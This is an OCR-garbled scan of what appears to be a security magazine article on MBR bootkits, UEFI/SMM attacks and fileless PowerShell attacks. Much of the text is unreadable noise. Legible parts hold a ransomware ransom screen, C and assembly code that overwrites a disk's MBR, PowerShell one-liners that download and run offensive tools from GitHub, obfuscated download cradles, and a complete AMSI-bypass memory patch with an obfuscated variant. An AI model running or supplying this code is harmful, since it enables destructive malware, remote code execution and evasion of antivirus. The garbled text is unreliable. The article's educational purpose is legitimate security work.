E-mail: lanachkadSs@mail, com - this is our mail

CODE: 3CBOC1FEA301 9581 180B74ACFOFADS24 this is code; you must send

BTC: ¥iUS1 vkIndkExpBEZr92tcA3zxwdbfuxaT here need ko pay 0,5 bitcains

How ko pay on the Bitcoin wallet vou can easily find on the Internet,

Enter your unlock code, obtained by E-mail here and press "EMTER" to

continue the normal download on your computer, Good luck! May God help youl
ZISATAMNAL =

S IO

o1 % L. .08

Lv

x
4

S
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®., 1T A4 _ s Lo L XeL o sxXx DX 1. st snferrupts - | _ s o«
Jo 7o X 10 s ox X XMBRE h W xS X f XTI os T AR R L J 4.

~

FoL L L s x 1 {s sl X <% P S I I I I { s s x -E“xxi"s{\ X L

v o~

®" 4L« x4 x4 s pos 4 XA

X "y s 4. 1o

MBRt UEFK *X . X" ®H s xy} 3 $% HXxEYeds 4" x 1« 47" x

Gh* 417 XX 1. L X« XSecure Bost XY IS X CIYXEIPK P 4147 X XL .«

L _ o+ 1 Wboot] x ¥ | + 1Embedded 1xx|*.x R L X e e X x|
IR O e T LB AT XX L T4 ik O g X x f Ly
XP< a7 xOWihdows. _  C X" 4 T X ¥ % o4 _ ol l U F 444 HE 96

X e X L@ T AP E LN XS T DT TE HOPY X x 1 X x o X

S i Nk s
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j.{. | I
| I 1l
= — 3% = = =P ‘—
|
i — — J)
=== = 1 { = !
Py ¥ -
. o 1
-
» Wihdbws7 _ | A T U | L Le .. XxAs
[ —— n)x" LX~WJ L, X . oS . . XX Xuvos | " xxx"x\~ 1ss¢ s x“,,l_-1'|v><s Lol —

WBRT L. S, 4« E® XUAG s X o E _JdxaxsT 17

Pl PR T X s s % Ixxbxs e w4 s L AL, AL T s

X q X X" P AT TS ke o X o DX Iy DB e
DAL~ x T, dx sTx X L,

Fd<01s 7 ox 7]

sl kX x 71w s o T s  Fxss{ e SXYXHY ] v XK
>l ss ]« s ss ], 44 L ¢ sqisq X
s 110 x 7o o@ G x bx s x FEBRE, X x]i ] s 4s 4 T x _« .08 %
d4 4L s e BN Cx Ty L1188 s .7 Pl
Alxs>< x |o» v X5 . L sAng,X\MBm U'AX‘TH,‘X’-l‘ s
1L x"vv . A ,>x
XU os X o 0T o @ex200 x LA v, Yy o x x o  MBRE 1 . xS
(/I [ |b-|,,'|“xx~'|) i, X C']N X ” L " . L, o € Zx~ L
s 4y LUt s T oL x 1, x 74« MBRIL 0 _ « "] 4 1L s s 1
® L AL s X1 WMBRE S LS TXF X |8 L0 s B X X .
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MBR: * 4 - |

LS % xLeghcy X ] ~OMBRE 'K X 1@¥ ~ L x 40X _ <X XMBREL X' . 1

Tus % Ixos  px.oq4_ . @®akMode Pl 1_.5"%  JUBEE X .x 7 %
® L L CX s {PHka®H T I x s

~ A

Y5 1M OReal Mod& 41 X x . pxEPYTTT o 1 X0 X

1. CPU 386
2. BITS 16
3. orgOh
OX7¢00 * x - | bxxo o 470 s b4 x ., o x T e DX, X s
1. xor ax,ax
2. mov ss,ax
3. mov sp,7c00h
11 ¥y.s L« = X x 1 I x o % s X X . q x " x "oy . y x |

> ~ 1 a ~ v v a ~ ~

X 4 ox1s s 1s e v d.ox1 L s Fdodox

~ ~ v~

1. password db 031h, 032h, 033h, 034h, 02dh, 031h, 032h, 033h, 034h, 02dh, 031h, 032h, 033h, 034h, 02dh,
031h, 032h, 033h, 034h, 0;123£3412341234

I, p A x X DINTAe, P s T L L, Kl Yy ks s T,

TR = P A AU B R N U VI T N S I
. . S . S oA , . x 7

1. print_char:

2 lodsb

3 test al,al

4 jz before_wait_for_key

5. int 10h

6 jmp print_char

7. write_char:

8 inc si

9. cmp byte [ds:bp + si],0 ; keep writing until there is a null byte

10. jz before_wait_for_key

11.

12.  pushbp

13.

14.  mov al, [byte ds:bp + si]
15.  mov bx, 07h

16. int 10h ; teletype the character
17.

18. pop bp

19.

20.  jmp write_char
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el AN

A NS -

o0 rwnE

Technologic

cmp al, byte [cs:si]
inz$

inc si

cmp byte [cs:si],0
jz end

jmp wait_for_key

X X0 L x Y X Cx sPXA0G X XU @K 1S 4 XS ap,MHA Sk T X

a ~

YX7CO0 4 » x w s DX x I |s dgpomm | i
mov cx,0200h ; 512 bytes
mov si,0200h ; src location
XOr ax,ax
mov es,ax ; dest segment
mov di,7c00h : dest addr
rep movsb ; move 512 bytes
L 1 MBRtx . * x| s 1 _ x®xaab5s $ F, X 1X MBRsStx s { {711 x. ]

¥ . 4. s e x "

MBR_signature:

db 55h,0aah
®1 X7 1 as okasm o« ik, X x oL ashm s x0T
Droppert - * 1 - |
@1 XD XMBRT X_IYIHAPEL X X o o+ 4 DMBR® X 1"x s T KT A
< Phisi¢alDrive® « x x I s 17s s GMBRY X - r1 4 FHandlel T 21 .
A wv o T SIS IS 4y s X1 L X 0 e s AMBREX 14, L 1L

YWACBypass” 1 S« 44's _ L] s _ L x1XTs " o isxx fasl.”

v o~ A~

mbrH = CreateFileA(\\.\\PhysicalDriveQ" GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, NULL, NULL);

17 441" x . X019 o~ XX« vssl .|sv,,><x . TsX MBEQ? . X v

a

orlx g 1A 1
Yol s LS e s X« L d

~ >

SetFilePointer(mbrH, 0, NULL, FILE_BEGIN);
if ('ReadFile(mbrH, &oldMbr, 512, &ioRet, NULL)) {
printf ("Failed to read original MBR"
break
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o0k wdhNE

i S Technologic o

NN S I S S I S U xos © + 1 SetFileRointep44_« «:7vx  Tsx xI [0 xx”
XX DT xR LN L Sass DX XIWIBRE D Ok b OWritsFie: ] 7
Y x |7 s { s { . S 1L « X s | x

memcpynewMbr + 0x01b0, oldMbr + 0x01b0, 0x40);
SetFilePointerbrH, 512, 0, FILE_BEGIN);
if ('WriteFile(mbrH, &oldMbr, 512, &ioRet, NULL)) {
printf ("Error writing old MBR);
break;
}
ndY . x 1< MBRE{ "ix«l SBuffdmt -« X x 117 ¥ S, xS DX

v

wxnnnknnnx JARHINGY T 1 ! eemmmnan

0OU ARE INFECTED WITH A DEADLY RANSOMWARE

HE OMLY WAY TO SAVE YOUR COMPUTER IS TO SEND 18688 BITCOINS TO @MrMarshmello ON
ELEGRAM

ARNING: IF YOU ENTER SOMETHING INCORRECTLY,YOUR DATA WILL BE LOST FOREVER

ENTER YOUR REY:
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UEFF Unified Extensible Firmware Interface

DX BIOS, x4 L@ Pooxdox® L ss ], e T MYBR . L 4y
@ L x s L o x T mer 4 X BIOSL, ST, s B 1K ox L

~ 13 x_ s> x4 Secure Bott, "s 1 1 _ UEFRit-« xsi 4. 2" dx"{1Xss 1 x"

«L «MBRT lix _{0¢14MBRAVBR o« _ Xx®1  _ss 1. o _ s q{

AP X o x xs Do Dx X e X o X T AT T X
GPT

st 4, s s.41_ s L« " 7T 1A sparttidbntablert- - - x MBRET 1 L |

¥s x" 411" &WID Partition Tabi® *:s.s WEFL . A * _  ®L. " _ X7

, . X A DXL o x by :NBHI1 vvaMJ_HLX v XoSe X1 s L ox
s x| L.l xe g txXxs s 4 XX ¥R T s 4 TR L P

®OS 1 _ XS . L X b~ s NVRAME o , X § S { s &E|Partltiohs * s x s
BOCHMOR | HYx{XX @BI0S ! ¥ s X

BOOTMGR Kernel &

Drivers

UEFICOBE® 1 " x . + 1% 4 UBRICODE X 11~ > 4 x4 4 1S S5+ oux "% 40014 |
Y x ¥ I G 4%, xsi” x

BIOS | xxyx{I"x<_ s . Ix"x_ |(Embddded Bevelopment Kit) EDK1T ¥ _
B> SN T I TN st 4{4s s

~

¢LXVVQ/CHL>X~X v q{ s SNj]NsS X x
UEFH:X//'I Lo :X"][-Iv> DX 'I

~ ~

S v s 440 s 4

RBME I 1 x4 o x @ xu U XX ] @slsx, 1s&RL 4 1, s ] x s
PCH -~ A1 1 Lo, FAe o T A AT H A5 Al s 4w X {7

~ ~

bootmgfw.efir _ * LK ! X 171 . Ifx« L {x*s

winload.efir . * B! X 11 " .S
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L, X L L X
. ~BSécure Boot x v | s ”ys Ix . o UEFE X ] BIXXS|I 4« LS . XX s s
F1, ~ X 13804 $ L » Boofloader¥ x ¥y | Fd XAl . L T
s 1y 17 L TxBIO® s - XEu S, s s X1, A4l 1 x . X
M P I DX x4 S O I S BIOFE 4 s @gs. = x X T L. X
s {s 4 e T X e $ls Lo s L 1s 1. 1+ x4 e x T s

BO&E -« ~ _x7  peos ] x

X { < x]

LT . Lo I x oL DXS O, X XD X144 ) s ,,F+|I“yxs'|~ A . i . o s 4 .
FAd 44 7om f %] S B ! YPX {5 ] TxXx 1 x ERTX LY, e v 4

Y 14«:isy
®* 4.y x.< 1,8 X PR s, oSECH. L. 4+ .
memory controllert  + s3 1 {4 ¥ x " s x {PER 4 1~ o 1«
(System Management Mode _~ * 0SMMs © « (TIDXE
1. O, %%y 1415 s. (xJPCr¥® 4”7 J4s, x1aABDSAI .~ L 1
QUEFI

¢

System Management ModeSMM

y X1 % P17 X Fo1X L X s ] X« L XY x TS R N

SBCURE BO®T . *BIO®” ™ &b _ s * ] | TACRbT » ¥ & (' xs 4"

x s v U x X s oy L {4 L % s .., S X4 ox « .« XS
v v v > v

~ ~ ~

« XSMRAM~ ~ « " X *SMM® * © T x . | dridg2nt - ¥ ¢ . "I % .y & ringlm
DX oo _~ S L 055\1,,s~2 .S §M|WT:"5: X {4 . <" X L @Z,,WnywsZ“y X oL

x I 4 SMI‘Handlex  * - ~®ystem Management Interrupt ' 1 x4 s « 4ipgd =+ ~ « 41
EMMIE . X S o X s xT TR 4 T X XXX " o x 17 s

s* 41 . 1 ¥y x USermoddRAM. xx ¢ « ] L SMMtl L, LY X X

~ ~

P XY MBOh L Tk o8 x> s 140 OsYl_ s w1 X

Tx ]l x 1 X ] L x s {7 SSMATX 4@ Y50y A X ISKM!

v~

x

L Y Xy Florox ]

@1 %
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XX 1L {KBIOSE dsXIAsT T L 4y
X" 1" e L H{BPR T A4S e LT X BIQS  KwSL oL oxg T 14 L x|
¥Cs o _o o ovd_ 4Y L
Y x b Tx, Ix pUseNapdE X TX x X T4 S ¥ {Es v 45 IRL X1
EeaynalBlue
Y4 s L @IS L On XXM Lds DT X s BLd e s flaxia s
SMME X 4 X X 1 x s
74 8BPRIRY I x s X {0 s CX BMRIE - - X149 XA hx st o s x”\(~s~
DX x Cx 14 s 1 _x.s L~ I x
® 71 _ xS = x ]| R = x "xpﬁv XL o X2~x|_,,x1'|~ L XX*ox{i7] g vZJx P F
F”Y~ZXSVVI“:V Ix\v DXL ox 1A :x~,,l”x s~“ Ix‘_v « s S L
DX 4T Ll x s HT s s KR ER A Px 44 xqs DXL iss
x T x 0” ZX”l’_ﬂ)%(i,\’Xx',:s D RN A I e N LoL ,;'x>ii~ s 1
Gx L 41, x5 IxTys ST o8 X 4S ST A JFAXS, X X s 4|
SMMrg ¢ X 4 X X T x .
Do %S 1 wx sp Y LD BRI . 0 L4 4 A x4
L TR U 1S s LU X X, U e L {@MMIR X X X X X
DX A T Al IR TAMEI LS v x| x o Fegack A § . p ¥ DX
dsx L e e b s, i ¢ s o 1 s DX x
xS L ] SMM®E_H4 P x ISMMiE . . x 1. x4 1Y .1 @ esdls AT s Ko s
L . SMre_ ! Bufferr C X Ak "K¥E L Js BT 4Xss  Bl.dxXT 4L ox7x D
Parsing
Caching Attack
YCachingg =~ X" Y " H.ud*E 2 xqi4s iss <1
DRAME «~ @ _ X _ . [xGK &< 1. x < x] " | 7aANriteBaek* | s 14 _
= _¢s DRAMI- *iCacha Y X 1"  |mte Throdgh s 14 _
x "

S Xd s IO e s 6], SWBE % < xXY 4" I

~ ~ ~ ~ VoA > v

®" x4 744" v LURAMS. L X ¢ AN Cathet LItx .« oux x|
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S L« @HAY XX« 4 b WB*+.L_Gathingt © | 14 _
e dss Is iy X x _{d | 4 _Cathingd _ s 14 _
CDX”J'ICSV I X o q

°

~ S L

. AMTRR o " & i o,

g % + . S XS

s . .Cachdt | ~ . _

] XL s

SRR S I IO N TR

X o« fingOrts o~ 7 T44! BMRAME - s X C o ¥ S X
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https://steemit.com/shadowbrokers/@theshadowbrokers/lest-translation

https://arstechnica.com/informatioriechnoloqy/2015/02/howomnipotenthackerstied-to-the-

nsahid-for-14-yearsand-were-found-at-last/3/

https://github.com/0xBADBACON/malware

https://twitter.com/jordannovet/status/1489280667494010&8

https://p.ost2.fyi/courses/coursevl:0OpenSecurityTraining2+Arch4001 86 RVF+2021 vi1

https://www.sentinelone.com/labs/zerand-the-art-of-smm-bug-huntingfinding-mitigating-and

detectinguefi-vulnerabilities/

https://www.amazon.com/RootkitBootkitsReversineMalware-Generation/

How to hack a turned off computer
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https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
https://arstechnica.com/information-technology/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/3/
https://arstechnica.com/information-technology/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/3/
https://github.com/0xBADBAC0N/malware
https://twitter.com/jordannovet/status/1489280667494010880
https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch4001_x86-64_RVF+2021_v1
https://www.sentinelone.com/labs/zen-and-the-art-of-smm-bug-hunting-finding-mitigating-and-detecting-uefi-vulnerabilities/
https://www.sentinelone.com/labs/zen-and-the-art-of-smm-bug-hunting-finding-mitigating-and-detecting-uefi-vulnerabilities/
https://www.amazon.com/Rootkits-Bootkits-Reversing-Malware-Generation/dp/1593277164/ref=sr_1_1?crid=3KK46V1YD2D2Y&keywords=BOOTKITS&qid=1652212939&sprefix=booti%2Caps%2C332&sr=8-1
https://www.youtube.com/watch?v=9fhNokIgBMU
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. W {x 4 HldlessAttacks

Y . x IqL,,X\.Y

TIXEI T A X KR e X PP X 0 s Kl T L X e KH AR s X

~

S o4 LD e cex xR B} X e XS x x x DX ¥, XHFAX s

FXE ] R f O H AR XIS D S, X X H AR 4SSk K& s x|

P LU X AR S TS T X Ty N G L e e e e S X o 0T o {7 ] X Ix L X

st~ tx AT It e A es e A XX AR TG 1T 1]
®°¢ .~ _x L.xbr T s 4  XFilgeSstAttackt  « o o T X

K(Fileless attacks) 1 « XX~ - A «:oxs 4 4«

s T XX o T KNG, S Xl W X T XX A4Sy s s : 4 ]

“w o ~ “w v ~ v o~

x

A A Tk A s xS ts 1 4 el A YsL )54
XN XK X F{A_XEEHAPAYT 2ET IHKS fshy Ré

T s g X sS4 xis]s.,
t VWMI-x PowerShell: x  « « 3 ¢0ox x4l XA [ FLxd ] LSS,y

a 129

®@ownload Cradles x =« _ « * . * I PowerShell

S vl x «q xsdp 4, X%y (oneliner): 1 s ., xs Kxu . s*Download Cradle

¥ |

EX Select Windows PowerShell

K «s], . 8%
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Fd X I Lo e 41 44 - Tsx " ninvokeexpression  ~ X S 4« » digxs ox o«

iex(new - object net.webclient).downloadstring

urs _r 44 481011 WinPwnr _ X1 « {1 {PowerShelk 1 4 L st §x 41070 A
Y x <s 41

https://raw.qgithubusercontent.com/S3cur3Th1sShit/WinPwn/master/WinPwn.psl

¥Yoss 44ty x>0 1 x4 4 x .,
PowerSploit https://github.com/PowerShellMafia/PowerSploit

Nishang https://github.com/samratashok/nishang

Empire- https://github.com/EmpireProject/Empire

PowerShellArmoury https://github.com/cfalta/PowerShellArmoury
PowerSharpPackhttps://github.com/S3cur3ThlsShlt/PowerSharpPack
1 o ~PowerShell 1 1 v st 3x .71x¢ ¢4 1 User Modet o X4 « «xs§ 1 x ], I X

d s * <

o~ 0w bnE

—_

¥oLoxs Doxwlx % (omdlets) x ok I x

1 InvokeWebRequest / iwr

PS C:\Users\erezg\Desktop> iex (iwr

PS C:\Users\erezg\Desktop>

9 InvokeRestMethod /irm

PS C:\Users\erezg\Desktop> iex ( irm
) ;powercat 192.168.14.152

1 curl

S C:\Users\erezg\Desktop> iex (curl
S C:\Users\erezg\Desktop> Invoke-Inveigh 192.168.14.114

[*] Inveigh 1.506 started at 2022-85-85723:41:33

T wget

PS C:\Users\erezg\Desktop> iex (wget
)

YObfuscation) 1 * ~» S, X1 x¥I xIov § Lpsy 47

~

1 IEX(&(GCM *wo*ct) "N et.WebClient")."Do wnloadstring"('h'+'ttps://)

PS C:\Users\erezg> IEX (&(GCM *w-o*ct)

PS C:\Users\erezg>

T IEX (NewDbject Net.WebClient).(((Ne®bject Net.WebClient).PsObject.Methods |
Where-Object {$_.Namelike *wn*d*g'}).Name)('https://raw...")

S C:\Users\erezg> IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object

{$_.Name 1) .Name) (
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https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1
https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1
https://github.com/PowerShellMafia/PowerSploit
https://github.com/samratashok/nishang
https://github.com/EmpireProject/Empire
https://github.com/cfalta/PowerShellArmoury
https://github.com/S3cur3Th1sSh1t/PowerSharpPack

1 .($Shellld[1]+$Shellld[13]+'XNew-Object Net.WebClient).(((Ne®bject
Net.WebClient).PsObject.Methods | Whe€bject {$_.Namelike
UF 6y FRFIUYODPbEF YSOOUKGGLIAYKKNF 6XQ0U
PS C:\Users\erezg> .( [1] [13] ) (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {

.Name }) .Name) (
PS C:\Users\erezg>

-« X i Uy  ExecutionPolicy Bypass_ _ 12 | ¢ X P ox (X x4 X% xx]l{x o s

kYA 1 4~ WS4 XYl 11 s 4 . X XExecution Policy x " ¥ 7

ezg> PowerShell.exe

ST BN RPN R R A sX ", oAl x¥ P s3I 1> 7 ¥y I yof Execution Policy

~ v ~ v A v ~

TR XA X x4 L | S X X X T LSRRI BT kS XV x| X

~

|-CH 'i ,,F\'i,,\‘l,xt“\.1v> 'i VAN

K ¢y x Isx “:vasLCvaJx.|n 1%« slquxfis, « s"s. s

DX T e CLHANMPE T X XTADEX s, Tl s x T sy
X G XK G S LT 1 X W © 4 X 4 Adtimalware Scan Interface (AMSt) x {4 7 x I €

@41, 4,y p 1 x| IsE AN RS x|y

Y 1 - Windows! * 4 kX . AMSH . X | X 4

» ~

1 User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
1 PowerShell (scripts, interactive use, and dynamic code etiaih)a

T Windows Script Host (wscript.exe, cscript.exe)

1 Javascript, VBScript

 Office VBA macros
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Other
VAQW MsMpEng.exe
(Windows Defender Service)
AMSLh + AMSLIib + AMSI.dll
Win32 API Layer AnsiScanBuffer()
AnsiScanString()
_________________________________ MpEngine .dl1
T (Defender Scan Engine)
1. + 1.
COM API Layer TAnkimalware-cSoanl) XOMES Oy MpSve.dll
(Defender RPC Serwver)
AV Provider Layer Windows Defender Provider Class
IAntimalwareProvider: : Scan()

!

14 ot amsidl, X XX H A L XGx L AMSEE X v X xS w4 d | -

system32
M » ThisPC » 0O5(C) » Windows » System32
A [ Name Date modified Type Size
D amsi.dll 15/04/2022 22:19 Application exten... 109 KB
D amsiproxy.dll 15/04/2022 22:19 Application exten... 15KB
D amstream.dll 11/05/2021 20:26 Application exten... 99 KB
D Analog.Shell.Broker.dll 11/05/2021 20:27 Application exten... 215 KB
[8 . o —ca aooaa - - PRI
MALsifsex3x A46xss | x gmsidilx « PolverShell {4 1.5+ |
IDE ACFDCEF.E{E EE T NS KA PArcErTen IR Ay Lo Ao o A__]
52 AcroCEF.exe EX powershell.exe (15956) Properties - O >
~ Pad Acrobat.exe - :
Acrobat.exe Environment Handles .MET assemblies .MET performance GPU Comment |
- : General  Statistics  Performance  Threads  Token  Modules  Memory
v X powershell.exe | I
ME conhost.exe Mame Base address Size  Description & !
|| notepad.
5 notepad.ece powershellexe O0x7ff6122.. 452kB Windows PowerShell
‘_._f' Prn.:l-ceT;sHacker.exe advapi32.dll Ox7ffc3ads... 695 kB Advanced Windows 32 Base 4
¥ SnippingTool.exe amsi.dll Ox7ffc25db... 128 kB Anti-Malware Scan Interface i
e G Teams.exe AppResalver.dl OxFffclcal... 576 kB App Resaolver §
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https://docs.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg

Fe® .. $5 3. PowerShell 44 0 siixsT L Al cJamsidiie 5 X 4« < XX s o X
Event 1116 % 1« Xpx {Td4ix4s” ¥ L ¢ % (s

Microsoft Defender Antivirus has detected malware or other potentially unwanted software,

For more information please see the following:

https://go.microsoft. com/fwlink/?linkid=370208& name= Trojan:PowerShell/PsAttack DIMTB &threatid= 21478161648 enterprise=0
MNamefTrojan:PowerShell/PsAttack. D!

ID: 214 /72T Ted

Severity: Severe

Category: Trojan

Path: arnsi:_\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Detection Origin: Unknown

Detection Type: Concrete
Detection Source:

User: £7g)

Process Mame: CAWindows\Systermn32\WindowsPowerShellw1.0hpowershell.exe
Security intelligence Version: AV: 1.363.1109.0, AS: 1.363.1109.0, NIS: 1.363.1109.0
Engine Version: AM: 1.1.19200.5, NI5: 1.1.19200.5

PowerShell = x 51 Sxigmsidil _ 1 X & WSx 85 77

> o~ v a

E¥ Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\erezg> iex(new-object net.webclient).downloadstring(

PS C:\Users\erezg>

TL ™ amsii » € “d L 1]x6gss " § T fsf os{ "] XA A® TR T

YWindows Defendet ¢ s . « 0** 1 1 s” « - Xxanti-malware providen

Winclows Security

About

fat  Home

) Virus & threat protection System information

R Account protection Antimalware Client Version: 4.18.2203.5
Engine Version: 1.1.19200.5

4 Firewall & network protection Antivirus Version: 1.363.1109.0

Antispyware Version: 1.363.1109.0
B App & browser control

Device security
Learn more about this program online

1=\
% Device performance & health
h

Family options

R L T A R e S RS- 15 [ MO SR C B ICPIL R T B T A

< A~ ~ v v

DL X XS XTO XK S s

Ko * 1]s)h « @y 1] 3% 1x
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AMSI bypass

AWISID « X v X% s T Xl x| XAMSIE X1 b, oS s Do XX
@ «1SsT X X s]T LT &% X xSsXAMSL p C 4 TP Le )’ Gt x| 4 s

a

LS -1 7 sdnsidile s 4 o0 x @ K L X
X e XL g s P o os o x F O TE L X el e 85 w4 X Ty LS. X DS

TN ToEsx T LS e i, DS s A" 1 TIe . dndsiddiit patching

Px X 8@ T d Xsex 402 x W sis 4”7 1450 ARSI x 17

® XX " xi ]

X YA S s x .

VMMSE X« X H A XA s e L 18 K ss . LaBhsiutilsy T A i1, $ SeE ¥ x 1

E¥ Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\erezg> amsiutils

PS C:\Users\erezg>
amsiutils
PS C:\Users\erezg>

N LD SR IS N F I IR [ AL A IO N IO N TR SETIE S CI AR PN I

Fileless Attacks
www.DigitalWhisper.co.il
np Haud “ovndn = x4 0 Y




Technologic

1 7sh, s X4 T{Ixs | 4 Y

YRastaMoused 'L % _ |, L XX « 47 14 S 18 % s

>~

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

[D1lImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[D11Import("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[D11lImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,...

}
‘@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadlLibrary("am" + "si.d1l")

$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p =0

[Win32]::VirtualProtect($Address, [uint32]5, ©x40, [ref]$p)

$Patch = [Byte[]] (OxB8, ©x57, 0x00, Ox07, ©x80, OxC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, @, $Address, 6)

BbtProcAddress x |« : + X AmsiScanBuffet 41 « « "X x s O Iiles Do X 4, o

>

@ xS x L0 {e JAmsiScanBuffey 1 . < 7 x

X« _we-¥sWVirtualProtectt | 0 ¢ B od 1M DTex L 0@ RO XTuxXe L, XSt s T D

~ ~

@MS|_RESULT CLEAN. X w54 S174_ 1 b 4« wpateh, v * 7 J._1 @ * {

a
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https://rastamouse.me/memory-patching-amsi-bypass/

PS C:\Users\erezg> $win32 = @"

using System; i .
using System.Runtime.Interopservices;

public class win32 {

[D11Import("kernel32™)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[D11Import("kernel32")] . i
public static extern IntPtr LoadLibrary(string name);

[D11Import("kernel32")]

public static extern bool virtualProtect(IntPtr TpAddress, UIntPtr dwSize, uint flNewProtect, out uint 1pfloldpProtect);
'@
Add-Type $win32

fLoadLibrary = [win32]::LoadLibrary("am" + "si.d11")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")

s:virtualProtect($Address, [uint32]5, 0x40, [ref]Sp)
= [Byre[]] (OxB8, 0x57, 0x00, Ox07, Ox80, 0xc3)
Runtime.InteropServices.Marshal]::copy($Patch, 0, $Address, 6)
char:1

s malic g T an been b by Y ftware.
i ordException
dErrorid :

PS C:\Users\erezg>

K @1 SIS ddssy v 15 T4 xxsIsOS | L Lx ST T ]
Y XA AR 4 XSS Y] X TR 4 LTSIAT N e T s X

PS c:\Users\erezg> $win32 = @"

using System;
using System.Runtime.Interopservices;

public class win32 {

[D11Import("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[D11Import("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[D11Import("kernel32™)]

public static extern bool virtualProtect(IntPtr 1pAddress, uUIntPtr dwSize, uint fINewProtect, out uint IpfloldProtect);
"a
Add-Type $win32

$LoadLibrary = [wWin32]::LoadLibrary("am" + "si.d11")
$Address = in32]::GetProcAddress(SLoadLibrary, "Amsi" + “scan" + "Buffer")

rtualpProtect($Address, [uint32]5, 0x40, [ref]$p)
[Byte[]] (OxB8, 0x57, 0x00, 0x07, 0x80, OxC3)

PS C:\Users\erezg>

A TR T I DT ST N

>

® T XS XX ,,s],Ast~>s il

>

[ System . Runtime . InteropServices
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SR "
1 E$win32 = @"
2
3 | using System;
4 | using System.Runtime.InteropServices;
5
6 | public class win32 {
8 [D11Import("kerne132")]
9 public static extern IntPtr GetProcAddress(IntPtr hModule, string procName)
10
11 [o11Import ("kernel132")]
12 public static extern IntPtr LoadLibrary(string name);
13
14 [o111mport ("kernel132")]
15 public static extern bool virtualProtect(IntPtr 1pAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect);
16
17 |}
18 "a
19
20 Add-Type S$win32
21
22 SLoadLibrary = [win32]::LoadLibrary("am" + "si.d11")
23 S$Address = [win32]::GetProcAddress(SLoadLibrary, "Amsi" + "scan" + "Buffer™)

$p =10
25 [win32]::virtualpProtect(SAddress, [uint32]5, 0x40, [ref]lsp)
26 $patch = [Byte[]] (OxB8, 0x57, 0x00, 0x07, 0x80, OxC3)

7 $Rngsx="[sys’

28  $sdxck="tem.'

29  $06z5I="Runt’

30 SMEYXN="1ime.'

31 Sbdsw4="Inte'

32 $pcefl="rops’

33 SuuLGn="ervi"

34  $6w7ER="ces.'

35 $8Ipw5="Mars’

36 SekxGx="hal]'

37 $8bJ1b="::Co’

38  $zbnsc="py('

39  $Xr3sj="S$Patch,

40 $Kzkagb='O, '

41  $ImMTO="SAddress, 6)'

42 (SRngsx + $54XcK + $06z5I + SMEYXN + Shdsw4 + SpCEfl + $uuLGn + $6wW7ER + $8IpwS + SekxGx + $BbJ1lb + $zbnsc + $xr3sj + $KzkQb + $ImMTO) | iex

s:virtualrrotect ($§Address, [uint32]5, Ox40, [refl$p)
[Byre[]] (O0xB8, 0x57, 0x00, Ox07, Ox80, OxcC3)
[sys"

o,

$address, 6)°
$RNGSX + $S4XcK + $06z5I + SMEYXN + $bdsw4 + SpcEfl + SuuLGn + $6wW7ER + $BIpw5S + SekxGx + $Bbllb + $zbnsc + $Xr3sj + Skzkab + $ImMTO) | iex
rue

X ,..1-]>A-I ” ‘;qu va)f, o= X ¢ 47 x, X ~ X & X-I,,“-||_§-|“|_|_SX”-|X ,,5-|”~X5~ S

VX ool Sl 4 sy TEHL . @MSE 1 s oor A X s

> ~ A

py
Spatch,
S/’xddress, 6)"'
(SRNgSX + $S4XcK + $06z5I + SMEYXN + Sbdsw4 + SpCEfl + SuuLGn + S6W7ER + $8IpwS + SekxGx + $BbJ1lb + $zbnsc + $Xr3sj + $KzkQb + $ImMTO) | iex
True
PS C:\Users\erezg> iex (iwr 'https://raw.githubusercontent.com/S3cur3Thlsshlit/PowersharppPack/master/PowersharpBinaries/Invoke-Rubeus.psl')

Ps c:\Users\erezg> |

®_ 1:-7 O XSG XL e Pl X 4 SATLE S TXH X xR K d ]

~

Xk E T AT KR S eSS e L ST XIK G 387

¥ x _ fepoSitoriegt + x 7 AMSI -«
https://github.com/S3cur3ThlsShlt/AmBypassPowershell

https://amsi.faik
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https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
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1184 xs X4 Iqlxs {y

Afmsitrigged © ] X ¢ S LA L ¥ ws o]

hell file or URL.

Powershell filename or
e-NinjaCopy.psi

line numbers

mum Signature Length to cater for,
default=2048
Chunk s
default=409
Show Help

1L K@ x x0T bypass.psl * X w7 8§ Ix]™0 1% X g

~>

LY o O A X ysP ) s T |1 Lsream®s 1w T X Sl XEhs L1

\Downloads>AmsiTrigger_x64.exe -i C:\Users\userl\Deskt
"Add-Type n32

$LoadLibrar [Win32]::LoadLibrary("am" + "si.dl1l")

$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi"™ + "Scan" + "Buffer")
=0
n3

=0

0
< Q) e
wn rt

